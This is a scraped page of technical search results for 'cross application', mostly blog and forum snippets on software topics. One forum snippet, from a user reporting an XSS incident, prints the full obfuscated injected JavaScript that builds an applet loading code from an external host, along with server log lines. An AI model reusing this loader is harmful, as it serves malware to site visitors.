Search Results

Search found 52941 results on 2118 pages for 'cross application'.

Page 39/2118 | < Previous Page | 35 36 37 38 39 40 41 42 43 44 45 46  | Next Page >

  • Partner Blog: aurionPro SENA - Mobile Application Convenience, Flexibility & Innovation Delivered

    - by Darin Pendergraft
    About the Writer: Des Powley is Director of Product Management for aurionPro SENA inc. the leading global Oracle Identity and Access Management specialist delivery and product development partner. In October 2012 aurionPro SENA announced the release of the Mobile IDM application that delivers key Identity Management functions from any mobile device. The move towards an always on, globally interconnected world is shifting Business and Consumers alike away from traditional PC based Enterprise application access and more and more towards an ‘any device, same experience’ world. It is estimated that within five years in many developing regions of the world the PC will be obsolete, replaced entirely by cheaper mobile and tablet devices. This will give a vast amount of new entrants to the Internet their first experience of the online world, and it will only be via these newer, mobile access channels. Designed to address this shift in working and social environments and released in October of 2012 the aurionPro SENA Mobile IDM application directly addresses this emerging market and requirement by enhancing administrators, consumers and managers Identity Management (IDM) experience by delivering a mobile application that provides rapid access to frequently used IDM services from any Mobile device. Built on the aurionPro SENA Identity Service platform the mobile application uses Oracle’s Cloud, Mobile and Social capabilities and Oracle’s Identity Governance Suite for it’s core functions. The application has been developed using standards based API’s to ensure seamless integration with a client’s on premise IDM implementation or equally seamlessly with the aurionPro SENA Hosted Identity Service. The solution delivers multi platform support including iOS, Android and Blackberry and provides many key features including: • Providing easy to access view all of a users own access privileges • The ability for Managers to approve and track requests • Simply raising requests for new applications, roles and entitlements through the service catalogue This application has been designed and built with convenience and security in mind. We protect access to critical applications by enforcing PIN based authentication whilst also providing the user with mobile single sign on capability. This is just one of the many highly innovative products and services that aurionPro SENA is developing for our clients as we continually strive to enhance the value of their investment in Oracle’s class leading 11G R2 Identity and Access Management suite. The Mobile IDM application is a key component of our Identity Services Suite that also includes Managed, Hosted and Cloud Identity Services. The Identity Services Suite has been designed and built specifically to break the barriers to delivering Enterprise, Mobile and Social Identity Management services from the Cloud. aurionPro SENA - Building next generation Identity Services for modern enterprises. To view the app please visit http://youtu.be/btNgGtKxovc For more information please contact [email protected]

    Read the article

  • APress Deal of the Day 27/Jul/2013 - Pro Application Lifecycle Management with Visual Studio 2012

    - by TATWORTH
    Originally posted on: http://geekswithblogs.net/TATWORTH/archive/2013/07/27/apress-deal-of-the-day-27jul2013---pro-application-lifecycle.aspxToday's $10 Deal of the Day from APress at http://www.apress.com/9781430243441 is Pro Application Lifecycle Management with Visual Studio 2012"Pro Application Lifecycle Management with Visual Studio 2012 focuses on the most powerful application lifecycle management tool available for the Microsoft .NET Framework: Visual Studio Team Foundation Server."

    Read the article

  • Unity panel, and application functionality

    - by Dan
    From the Unity panel, left-clicking on an application that has multiple instances open displays the Spread Mode, but left-clicking on a solitary application does absolutely nothing. Personally, whenever I left-click on an open application, I expect it to either minimize or maximize, and I'd like to know if there's a way to get that functionality from Unity when left-clicking on a solitary application. I'm currently running Ubuntu 12.10. Thanks.

    Read the article

  • Cross Join 'n' times a table

    - by SDReyes
    It is possible to write a generic function/procedure/select/somethingElse to cross-join a table against himself 'n' times? (yes, 'n' is a given parameter : ) How would you do it? Example Having this table: Value ------- 1 2 3 cross join it 2 times, would return: Value | Value ------------------ 1 1 1 2 1 3 2 1 2 2 2 3 3 1 3 2 3 3

    Read the article

  • Sphinx: cross-reference indexed item

    - by Unbeknown
    How can I cross-reference an indexed item inside a reStructuredText document? For example, how can I cross-reference SectionB: .. index:: pair: SectionA; SectionB SectionB -------- SectionB description. I tried using :ref:'SectionB' and :index:'SectionB' but they don't work. Thanks.

    Read the article

  • Cross-platform, cross-browser way to play sound using jQuery 1.4?

    - by Erin
    I'm trying to get jQuery to play a sound on element hover/click. (It's like a flash website without flash) I've tried the methods recommended in Cross-platform, cross-browser way to play sound from Javascript?, the jQuery Sound plugin and a couple of other tutorials without any success. I'm assuming this is because they haven't been updated since 2008. Does anyone have any recommendations?

    Read the article

  • Should a database server be in a different VM instance as an application?

    - by orokusaki
    I'm setting up a database server as a separate VM in my server so that I can control resources, and make backups of just that instance. I own a server that will reside in a colo soon. Is this the best way to approach my DB regarding scalability? Are there any security concerns? Do I listen at localhost still, even though it's a separate instance? And, is there any benefit to running your DB (PostgreSQL in my case) in the same machine as your application (web based SAAS application in my case)?

    Read the article

  • How do I run JUnit tests from inside my java application?

    - by corgrath
    Is it possible to run JUnit tests from inside my java application? Are there test frameworks I can use (such as JUnit.jar?), or am I force to find the test files, invoke the methods and track the exceptions myself? The reason why I am asking is my application requires a lot of work to start launch (lots of dependencies and configurations, etc) and using an external testing tool (like JUnit Ant task) would require a lot of work to set up. It is easier to start the application and then inside the application run my tests. Is there an easy test framework that runs tests and output results from inside a java application or am I forced to write my own framework?

    Read the article

  • Is it possible to run a hidden console application from a Windows service?

    - by norgepaul
    I've written a server in Delphi 2010 that needs to launch a console application every now and again to back up a database. The console application can send log information to the console window, but it is not required. This works fine when running as an application, but when run as a service I get an access violation when launching the console application. This is the case even if I launch it hidden (SW_HIDE). Is it possible to launch a hidden console application from a Windows service? The solution needs to work on XP, Vista and Windows 7.

    Read the article

  • Application Demos in UPK

    - by [email protected]
    Over the years, User Productivity Kit has expanded to include solutions to many project challenges. As of UPK 3.6.1, solutions are provided for pre and post application go-live learning, application testing, system documentation, presentation output, and more. New in UPK 3.6.1 are additional features that can be used effectively for application demo purposes. This can come in handy when you need to do a demo but don't want to show or can't show the live application. Maybe you're doing a presentation for a group of project stakeholders and want to focus on the business workflow implemented by the application rather than the mechanics of using it. Or possibly, you need to show the application but you're disconnected from any network preventing you from running the live application. In any of these cases, a presentation aid that represents the live application is what's needed. Previous versions of the UPK topic player would allow you to do this but would always show those UPK user interface elements that help a user learn the application. When you're presenting the narrative live, the UPK bubbles can be a distraction. UPK 3.6.1 provides some new features that allow you to control whether the bubbles display. There are two ways to hide bubbles in a topic. The first is a topic property that allows you to control bubbles across the entire topic. There are 3 settings for the Show Bubbles topic property. The default setting is Use frame settings which allows you to control whether bubbles display on a frame by frame basis. When you choose Always, the bubbles will always display regardless of the frame setting. The final choice is Never. Choosing Never will hide every bubble in your topic with one setting change. As with Always, choosing Never will ignore the frame setting. The second way to control the bubbles is at the frame level. First ensure that the topic's Show Bubbles property is set to Use frame settings. Navigate to the frame on which you want to turn off the bubble and click the Display bubble for this frame button to turn off the bubble. When you play the topic, the bubble will no longer be displayed. Depending on your needs, you might also use another longstanding UPK feature that allows you to control whether the action area displays on a frame. Just click the Action area on/off button to toggle its display. I've found the frame properties to be useful beyond creating presentation aids. When creating "See It!" only topics for more advanced users, I may hide the bubbles on some of the more straightforward frames. For example, if I have a form where one needs to fill out an address, I may display the first bubble in the sequence and explain what the subsequent steps are doing. I then hide bubbles on the remaining frames which are the more mechanical steps of entering the address. We'd like to hear your thoughts on this new UPK feature. Use the comments below to tell us how you've used it. John Zaums Senior Director, Product Development Oracle User Productivity Kit

    Read the article

  • Malware Cross Site Scriptinig attack / XSS Attack?

    - by user124176
    I have been hit by an Cross Site Scripting / XSS / RFI Attack, where I cant find it anywhere in the source of the files and Hashes on files have not been changed according to OSSEC HIDS that I run real time monitoring on all webdirs. The Attack happens on IE9 Only it and appends java script code like beneath, notice that it starts after /html tag closes normally. : scXXpt language="javascXXpt"var enuwjo = function(gqumas, yhxxju, zbkpilf, xzzvhld){var xew = function(iso) {var crh, eaq, i; var owb=""; crh = iso.length; for (i = 0; i < crh; ++i) {eaq = iso.charCodeAt(i)-2;owb = owb + String.fromCharCode(eaq);} return(owb); } var janlq=document.createElement(xew("crrngv"));janlq.setAttribute(xew("eqfg"), xew(gqumas));janlq.setAttribute(xew("ctejkxg"), xew("jvvr<11"+yhxxju));janlq.setAttribute(xew("ykfvj"), "1");janlq.setAttribute(xew("jgkijv"), "1");var lgtwyi=document.createElement(xew("rctco"));lgtwyi.setAttribute(xew("pcog"),xew(zbkpilf));lgtwyi.setAttribute(xew("xcnwg"),xew(xzzvhld));janlq.appendChild(lgtwyi);document.body.appendChild(janlq); } ; enuwjo("vxfgwtogg0dcrcmnwe0encuu","g{g0o{yge{0kp129;5","mlit{ttmdttponfhrrexihpe","fh;ccfe:85:5d9872;2;f569276h5268ff9;34:25;7d:8:7h8c68777;;822c73"); No code has been changed on file as far as my HIDS says ... but I can see in my Error log, the following... File does not exist: /var/www/vhosts/superkids.dk/ggtest/tvdeurmee In the Access log, the following IP - - [09/Jun/2012:23:30:13 +0200] "GET /tvdeurmee/bapakluc.class HTTP/1.1" 404 504 "-" "Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_04" IP - - [09/Jun/2012:23:30:13 +0200] "GET /tvdeurmee/bapakluc/class.class HTTP/1.1" 404 509 "-" "Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_04" Now... the folder or path /tvdeurmee/bapakluc/ does not exist on the server in question, nor does the Java Class class.class, yet it still looks like an local call to the server and it was getting an "404 File not found / 504 Gateway Timeout" (attack was blocked by local machine, hence the timeout / not found) Any idea on how to prevent the attack ? Im working on using HTML Purifier, but that might not be the correct idea it seems, according to some replies im getting on their forum :) Kind regards, Steven

    Read the article

  • Splitting build cross the network?

    - by Dandikas
    Is there a known solution for splitting build process cross the network machines? Use case: We are an average software development company. We own around 50 development workstations (Quad Core 2.66Ghz, 4 GB ram, 200 GB raid). No need to tell that at any single moment not every machine is loaded to the max. There are 5 to 15 projects running simultaneously at any single moment. Obviously all of them are continuously build on server, than deployed to proper environment. Single project build is taking from 3 to 15 minutes. The problem: Whenever we build 5 projects in a row the last project is going to be ready after around 25 - 50 minutes. Building in parallel does not solve the problem (build is only a part of the game, than you need to deploy, run tests etc.) YES the correct solution is to add another build server, but "That involves buying new Expensive hardware, and we already spent a lot!". Yea, right(damn them)! Anyway. What about splitting build among developers workstation? Lets say whenever we need to build project "A" we check 5 workstations and start build on all that are not overloaded. The build can be canceled by a developer if he really needs all the power of his machine as long as there is at least 1 machine that is still building. After build is finished deployment can be performed to a proper environment (hosted on some server, not on workstation :) ). The bigger the company the more this makes sense to me. Anyone tried something like this? Are there any good practices? Any helpful software?

    Read the article

  • Announcing the June 2012 Release of the Ajax Control Toolkit

    - by Stephen.Walther
    I’m excited to announce the June 2012 release of the Ajax Control Toolkit. You can download the new release by visiting http://AjaxControlToolkit.CodePlex.com or (better) download the new release with NuGet: Install-Package AjaxControlToolkit The Ajax Control Toolkit continues to be super popular. The previous release (May 2012) had over 87,000 downloads from CodePlex.com and over 16,000 downloads from NuGet. That’s over 100,000 downloads in less than 2 months. Security Improvements for the HtmlEditorExtender Unfortunately, in the previous release, we made the HtmlEditorExtender too secure! We upgraded the version of the Microsoft Anti-Cross Site Scripting Library included in the Ajax Control Toolkit to the latest version (version 4.2.1) and the latest version turned out to be way too aggressive about stripping HTML. It not only strips dangerous tags such as <script> tags, it also strips innocent tags such as <b> tags. When the latest version of the Microsoft Anti-Cross Site Scripting Library is used with the HtmlEditorExtender, the library strips all rich content from the HtmlEditorExtender control which defeats the purpose of using the control. Therefore, we had to find a replacement for the Microsoft Anti-Cross Site Scripting Library. In this release, we’ve created a new HTML sanitizer built on the HTML Agility Pack. If you were using the AntiXssSanitizerProvider then you will need to substitute the HtmlAgilityPackSanitizerProvider. In particular, you need to modify the sanitizer sections in your Web.config file like this: <configuration> <configSections> <sectionGroup name="system.web"> <section name="sanitizer" requirePermission="false" type="AjaxControlToolkit.Sanitizer.ProviderSanitizerSection, AjaxControlToolkit" /> </sectionGroup> </configSections> <system.web> <sanitizer defaultProvider="HtmlAgilityPackSanitizerProvider"> <providers> <add name="HtmlAgilityPackSanitizerProvider" type="AjaxControlToolkit.Sanitizer.HtmlAgilityPackSanitizerProvider"></add> </providers> </sanitizer> </system.web> </configuration> We made one other backwards-breaking change to improve the security of the HtmlEditorExtender. We want to make sure that users don’t accidently use the HtmlEditorExtender without an HTML sanitizer by accident. Therefore, if you don’t configure a HTML sanitizer provider in the web.config file then you’ll get the following error: If you really want to use the HtmlEditorExtender without using an HTML sanitizer – for example, you are using the HtmlEditorExtender for an Intranet application and you trust all of your fellow employees – then you can explicitly indicate that you don’t want to enable HTML sanitization by setting the EnableSanitization property to false like this: <ajaxToolkit:HtmlEditorExtender TargetControlID="txtComments" EnableSanitization="false" runat="server" /> Please don’t ever set the EnableSanitization property to false for a public website. If you disable HTML sanitization then you are making your website an easy target for Cross-Site Scripting attacks. Lots of Fixes for the ComboBox Control In the latest release, we also made several important bug fixes and feature enhancements to the ComboBox control. Here’s the list of issues that we fixed: 22930 — ComboBox doesn’t close its drop down list when losing input focus to another ComboBox control 23140 — ComboBox Issues – Delete, Backspace, Period 23142 — ComboxBox SelectedIndex = -1 does not clear text 24440 — ComboBox postback on enter 25295 — ComboBox problems when container is hidden at page load 25469 — ComboBox – MaxLength ignored 26686 — Backspace and Delete exception when optionList is null 27148 — Combobox breaks if ClientIDMode is static Fixes to Other Controls In this release, we also made bug fixes and enhancements to the UpdatePanelAnimation, Tabs, and Seadragon controls: 21310 — OnUpdated animation starts before OnUpdating has finished 26690 — Seadragon Control’s openTileSource() method doesn’t work (with fix) Title is required We also fixed an issue with the Tabs control which would result in an InvalidOperation exception. Summary I want to thank the Superexpert team for the hard work that they put into this release. In particular, I want to thank them for their effort in researching, building, and writing unit tests for the HtmlAgilityPack HTML sanitizer.

    Read the article

  • Upgraded to new Google Admob, now cannot resubmit Google Adsense application

    - by GPS
    I tried to apply for a google adsense account some time ago, but it was rejected due to some policy issues. Then I started using Legacy Admob account for the same email id. It was working fine. But now Google has deprecated the Legacy Admob so I upgraded to the new Google Admob. But now I want to resubmit my application for Adsense but whenever I go to the link https://www.google.com/adsense/ it takes to my homepage, where it shows older message that My account was not approved. It does not show the option to resubmit the application. Second way it shows to go to My Ads tab and then Under “Add AdSense for content", click Apply now. Complete the AdSense application form, then click Submit my application." But I cannot see Submit My Application or Add Adsense for content option in my My Ads Tab. Please can anybody tell me what should I do? Thanks.

    Read the article

  • Kinect Turns DaVinci Physics Application Super Cool

    - by Gopinath
    Guys at RazorFish who are well known for their Microsoft Surface impressive stuff has ported their Da Vinci Application over to Kinect device. The end result is a super cool gesture based application. Check out the embedded video demonstration below If you wondering what is Da Vince Application is all about, here are few lines from RazorFish DaVinci is a Microsoft Surface application that blurs the lines between the physical and virtual world by combining object recognition, real-world physics simulation and gestural interface design. Related:Kinect + Windows 7 = Control PC With Hand Gestures This article titled,Kinect Turns DaVinci Physics Application Super Cool, was originally published at Tech Dreams. Grab our rss feed or fan us on Facebook to get updates from us.

    Read the article

  • Java Transaction Service without the application server

    - by johnny
    Is it possible to have a Java standalone application (no application server attached) that exposes some operations that a client can call and be the one to manage the transactions? I was thinking this application to expose JNDI resources and get a hold of a java:comp/UserTransaction from there, get also a bean from there and call methods A, B and C on it and coordinate the transaction from the client? The application I'm writing isn't complex enough so that I need a big application server around it so I'm thinking to have a standalone JTS inside it that the client could interact with from a transactions point of view. I don't have much experience with distributed transactions and don't really know how to tackle the issue. Is it even possible? Am I getting myself into something beyond what a mere mortal (programmer) can handle? How can I approach this?

    Read the article

  • Silverlight Reporting Application Part 3.5 - Prism Background and WCF RIA [Series Intermission]

    Taking a step back before I dive into the details and full-on coding fun, I wanted to once again respond to a comment on my last post to clear up some things in regards to how I'm setting up my project and some of the choices I've made. Aka, thanks Ben. :) Prism Project Setup For starters, I'm not the ideal use case for a Prism application. In most cases where you've got a one-man team, Prism can be overkill as it is more intended for large teams who are geographically dispersed or in applications that have a larger scale than my Recruiting application in which you'll greatly benefit from modularity, delayed loading of xaps, etc. What Prism offers, though, is a manner for handling UI, commands, and events with the idea that, through a modular approach in which no parts really need to know about one another, I can update this application bit by bit as hiring needs change or requirements differ between offices without having to worry that changing something in the Jobs module will break something in, say, the Scheduling module. All that being said, here's a look at how our project breakdown for Recruit (MVVM/Prism implementation) looks: This could be a little misleading though, as each of those modules is actually another project in the overall Recruit solution. As far as what the projects actually are, that looks a bit like this: Recruiting Solution Recruit (Shell up there) - Main Silverlight Application .Web - Default .Web application to host the Silverlight app Infrastructure - Silverlight Class Library Project Modules - Silverlight Class Library Projects Infrastructure &Modules The Infrastructure project is probably something you'll see to some degree in any composite application. In this application, it is going to contain custom commands (you'll see the joy of these in a post or two down the road), events, helper classes, and any custom classes I need to share between different modules. Think of this as a handy little crossroad between any parts of your application. Modules on the other hand are the bread and butter of this application. Besides the shell, which holds the UI skeleton, and the infrastructure, which holds all those shared goodies, the modules are self-contained bundles of functionality to handle different concerns. In my scenario, I need a way to look up and edit Jobs, Applicants, and Schedule interviews, a Notification module to handle telling the user when different things are happening (i.e., loading from database), and a Menu to control interaction and moving between different views. All modules are going to follow the following pattern: The module class will inherit from IModule and handle initialization and loading the correct view into the correct region, whereas the Views and ViewModels folders will contain paired Silverlight user controls and ViewModel class backings. WCF RIA Services Since we've got all the projects in a single solution, we did not have to go the route of creating a WCR RIA Services Class Library. Every module has it's WCF RIA link back to the main .Web project, so the single Linq-2-SQL (yes, I said Linq-2-SQL, but I'll soon be switching to OpenAccess due to the new visual designer) context I'm using there works nicely with the scope of my project. If I were going for completely separating this project out and doing different, dynamically loaded elements, I'd probably go for the separate class library. Hope that clears that up. In the future though, I will be using that in a project that I've got in the "when I've got enough time to work on this" pipeline, so we'll get into that eventually- and hopefully when WCF RIA is in full release! Why Not use Silverlight Navigation/Business Template? The short answer- I'm a creature of habit, and having used Silverlight for a few years now, I'm used to doing lots of things manually. :) Plus, starting with a blank slate of a project I'm able to set up things exactly as I want them to be. In this case, rather than the navigation frame we would see in one of the templates, the MainRegion/ContentControl is working as our main navigation window. In many cases I will use theSilverlight navigation template to start things off, however in this case I did not need those features so I opted out of using that. Next time when I actually hit post #4, we're going to get into the modules and starting to get functionality into this application. Next week is also release week for the Q1 2010 release, so be sure to check out our annualWebinar Week (I might be biased, but Wednesday is my favorite out of the group). Did you know that DotNetSlackers also publishes .net articles written by top known .net Authors? We already have over 80 articles in several categories including Silverlight. Take a look: here.

    Read the article

  • Determining an application's dependencies

    - by gpuguy
    I have developed an application using Windows Forms in C++ (IDE MS VC++ 2010). Some parts of the application also use MFC, and OpenCV. I want to send the application to my cleint for interim testing on his own machine. I have not developed any installer for the application, so I will be sending him an .EXE file. I want the client to not face any difficulties in replicating the environment, and therefore not lose any time. Can somebody suggest me what software (such as MS VC++ Runtime, .NET Framework, Windows SDK, etc.) should be installed on the client's machine for successfull testing of the application? Note: The OS (Windows 7) and hardware are exactly the same on both sides.

    Read the article

  • Facebook abandonne HTML5 pour son application iOS, qualifiée de trop lente

    Facebook abandonne HTML5 pour son application iOS qualifiée de trop lente L'application Facebook pour iOS bien que pratique est lente, et souvent très lente même. D'après le New York Times, sur 38 000 personnes l'ayant noté, plus de 21 000 personnes n'ont accordé qu'une seule étoile à l'application, la qualifiant de lente, toujours en chargement, sujette à des crashs répétitifs, etc. Insensible à toutes ces remarques, Facebook a décidé de rendre son application plus rapide en réécrivant complètement celle-ci. Conséquence, le HTML5 qui avait été utilisé précédemment pour développer l'application autour d'une coque objective-c, afin d'utiliser la même base ...

    Read the article

  • Cross-Platform Language + GUI Toolkit for Prototyping Multimedia Applications

    - by msutherl
    I'm looking for a language + GUI toolkit for rapidly prototyping utility applications for multimedia installations. I've been working with Max/MSP/Jitter for many years, but I'd like to add a text-based language to my 'arsenal' for tasks apart from 'content production'. (When it comes to actual media synthesis, my choices are clear [SuperCollider + MSP for audio, Jitter + Quartz + openFrameworks for video]). I'm looking for something that maintains some of the advantages of Max, but is lower-level, faster, more cross-platfrom (Linux support), and text-based. Integration with powerful sound/video libraries is not a requirement. Some requirements: Cross-platform (at least OSX and Linux, Windows is a plus) Fast and easy cross-platform GUIs with no platform-specific modification GUI code separated from backend code as much as possible Good for interfacing with external serial devices (micro-controllers) Good network support (UDP/TCP) Good libraries for multi-media (video, sound, OSC) are a plus Asynchronous synchronous UNIX integration is a plus The options that come to mind: AS3/Flex (not a fan of AS3 or the idea of running in the Flash Player) openFrameworks (C++ framework, perhaps a bit too low level [looking for fast development time] and biased toward video work) Java w/ Processing libraries (like openFrameworks, just slower) Python + Qt (is Qt appropriate for rapid prototyping?) Python + Another GUI toolkit SuperCollider + Swing (yucky GUI development) Java w/ SWT Any other options? What do you recommend?

    Read the article

  • VB.net avoiding cross thread exception with extension method

    - by user574632
    Hello I am trying to implement a solution for updating form controls without using a delegate. I am attempting to use the 1st solution on this page: http://www.dreamincode.net/forums/blog/143/entry-2337-handling-the-dreaded-cross-thread-exception/ Imports System.ComponentModel Imports System.Runtime.CompilerServices Public Module MyInvoke <Extension()> _ Public Sub CustomInvoke(Of T As ISynchronizeInvoke)(ByVal control As T, ByVal toPerform As Action(Of T)) If control.InvokeRequired Then control.Invoke(toPerform, New Object() {control}) toPerform(control) End If End Sub End Module The site gives this as example of how to use: Label1.CustomInvoke(l => l.Text = "Hello World!") But i get 'l' is not declared error. As you can see im very new to VB or any OOP. I can get the second solution on that page to work (using delegates) but i have quite a few things to do in this thread and it seems like i would need to write a new delegate sub for each thing, which seems wasteful. What i need to do is select the 1st item from a combobox, update a textbox.text with the selected item, and pass the selected item to a function. Then wait for x seconds and start again, selecting the second item. I can get it to work in a single threaded application, but i need the interface to remain responsive. Any help greatly appreciated. EDIT: OK so changing the syntax worked for the example. However if i change it from Label1.CustomInvoke(Sub(l) l.text = "hello world!") (which worked just fine) to: Dim indexnumber As Integer = 0 ComboBox1.CustomInvoke(Sub(l) l.SelectedIndex = indexnumber) I get a cross threading error as though i didnt even use this method: Cross-thread operation not valid: Control 'ComboBox1' accessed from a thread other than the thread it was created on. So now im back to where i started? Any further help very much appreciated.

    Read the article

  • Crystal Reports Cross Tab Conditional Formatting

    - by ltran
    I would like to achieve a simplified result similar to the "Color Scale" function in Excel i.e. gradient colouring based on the lowest value (red) to highest value (green), except in my cross tab using Crystal Reports 2008. My cross tab looks a little like this: HOURS L1 L2 L3 L4 Total 1 hours | 5 | 0 | 1 | 16 | 22 | 2 hours | 0 | 1 | 0 | 10 | 11 | 3 hours | 8 | 2 | 6 | 12 | 28 | TOTAL |13 | 3 | 7 | 38 | 61 | The principle of my function is find the maximum value in the cross table then use 20%, 40%, 60%, 80% values to colour the background. Function is as follows (in the format background section): if currentfieldvalue < ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.2) then color(255,0,0) else if (currentfieldvalue >= ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.2) and currentfieldvalue < ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.4)) then color(255,192,0) else if (currentfieldvalue >= ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.4) and currentfieldvalue < ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.6)) then color(255,255,0) else if (currentfieldvalue >= ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.6) and currentfieldvalue < ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.8)) then color(146,208,80) else if (currentfieldvalue >= ((Maximum (MakeArray (CurrentColumnIndex, CurrentRowIndex, 1)))*0.8)) then color(0,176,80) It's not elegant, nor does it work properly, any assistance/suggestions would be much appreciated. I wasn't expecting it to be so complicated as originally I was working with the below assuming it would work, except it tells me that "CurrentFieldValue" is not a field. if CurrentFieldValue < ((Maximum (CurrentFieldValue))*0.2) then color(255,0,0) else if ... etc.

    Read the article

< Previous Page | 35 36 37 38 39 40 41 42 43 44 45 46  | Next Page >